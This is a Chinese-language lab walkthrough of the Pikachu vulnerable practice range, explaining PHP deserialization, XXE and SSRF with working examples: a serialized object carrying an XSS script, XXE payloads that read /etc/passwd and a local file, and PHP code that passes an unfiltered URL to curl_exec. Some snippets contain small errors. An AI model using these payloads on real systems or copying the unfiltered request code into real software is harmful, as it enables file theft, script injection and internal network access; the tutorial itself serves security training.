pikachu靶场-PHP反序列化、XXE、SSRF PHP反序列化
⼀、概述
在理解这个漏洞之前,需要先搞清楚php中的serialize(),unserialize()这两个函数
序列化serialize()
序列化通俗点就是把⼀个对象变成可以传输的字符串,⽐如下⾯是⼀个对象。
class S{
public $test="pikachu";
}
$s=new S(); //创建⼀个对象
serialize($s); //把这个对象进⾏序列化
序列化后得到的结果是这个样⼦的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为⼀个字符
S:对象的名称
1:代表对象⾥⾯有⼀个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后再接下来的代码中继续使⽤。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
  序列化和反序列化本⾝没有问题,但是如果反序列化的内容是⽤户可以控制的,且后台不正当的使⽤了PHP中的魔法函数就会导致安全问题。常见的⼏个魔法函数:
__construct()当⼀个对象创建时被调⽤
__destruct()当⼀个对象销毁时被调⽤
__toString()当⼀个对象被当作⼀个字符串使⽤
__sleep() 在对象在被序列化之前运⾏
__wakeup将在序列化之后⽴即被调⽤
漏洞举例:
class S{php文件下载源码
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
⼆、PHP反序列化漏洞
①观察源码返现这⾥有个借⼝可以接受⼀个反序列化的对象,对传进来的参数没有进⾏任何过滤
②我们利⽤详细的代码⽣成⼀个反序列化的字符串。
<?php
class S{
var $test = "<script>alert('xss')</script>";
}
echo '<br>';
$a = new S();
echo serialize($a);
>
  ③新建⽂档,通过url访问
我这⾥是localhost/pikachu-master/test.php
④我们右键查看页⾯源代码
⑤把<br>后的O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} 复制放⼊关卡中,就可以进⾏XSS攻击了
XXE
⼀、概述
XXE -"xml external entity injection"
既"xml外部实体注⼊漏洞"。
概括⼀下就是"攻击者通过向服务器注⼊指定的xml实体内容,从⽽让服务器按照指定的配置进⾏执⾏,导致问题"
也就是说服务端接收和解析了来⾃⽤户端的xml数据,⽽⼜没有做严格的安全控制,从⽽导致xml外部实体注⼊。
具体的关于xml实体的介绍,⽹络上有很多,⾃⼰动⼿先查⼀下。
现在很多语⾔⾥⾯对应的解析xml的函数默认是禁⽌解析外部实体内容的,从⽽也就直接避免了这个漏洞。
以PHP为例,在PHP⾥⾯解析xml⽤的是libxml,其在≥2.9.0的版本中,默认是禁⽌解析xml外部实体内容的。
xml是⼀种可拓展的标记语⾔,可以⽤来存储数据,例如:我们经常看到⼀些.xml的⽂件;它还可以⽤来传输数据,我们可以直接将数据以xml的格式放在请求当中,发给服务器。
具体的关于xml实体的介绍,⽹络上有很多,⾃⼰动⼿先查⼀下。
第⼀部分:XML声明部分
<?xml version="1.0"?>
第⼆部分:⽂档类型定义 DTD
<!DOCTYPE note[
<!--定义此⽂档是note类型的⽂档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>
第三部分:⽂档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
其中,DTD(Document Type Definition,⽂档类型定义),⽤来为 XML ⽂档定义语法约束,可以是内部申明也可以使引⽤外部DTD现在很多语⾔⾥⾯对应的解析xml的函数默认是禁⽌解析外部实体内容的,从⽽也就直接避免了这个漏洞。
①内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
②外部引⽤DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
③引⽤公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
外部实体引⽤ Payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
⼆、XXE漏洞
①先输⼊⼀个payload
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
将我们定义的实体内容打印在了前端
②构造读取⽂件的payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://2.txt">
]>
<x>&f;</x>
SSRF
⼀、概述
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因⼤都是由于服务端提供了从其他服务器应⽤获取数据的功能,但⼜没有对⽬标地址做严格过滤与限制
导致攻击者可以传⼊任意的地址来让后端服务器对其发起请求,并返回对该⽬标地址请求的数据
数据流:攻击者----->服务器---->⽬标地址
根据后台使⽤的函数的不同,对应的影响和利⽤⽅法⼜有不⼀样
PHP中下⾯函数的使⽤不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果⼀定要通过后台服务器远程去对⽤户指定("或者预埋在前端的请求")的地址进⾏资源请求,则请做好⽬标地址的过滤。⼆、SSRE(curl)
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使⽤curl_exec()进⾏了请求,然后将请求的结果⼜返回给了前端。
//除了http/https外,curl还⽀持⼀些其他的协议curl --version 可以查看其⽀持的协议,telnet
//curl⽀持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
我们发现在URL中发现了诗的来源,然后我在本机链接虚拟机的pikachu,更改URL访问了虚拟机pikachu-master下的1.txt⽂件,⽂件的内容为GOOD MAN URL:(虚拟机IP为192.168.233.138)
192.168.233.138/pikachu-master/vul/ssrf/ssrf_curl.php?url=192.168.233.138/
三、SSRF(file_get_content)
我们接着点击链接,发现和刚才⼀样

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。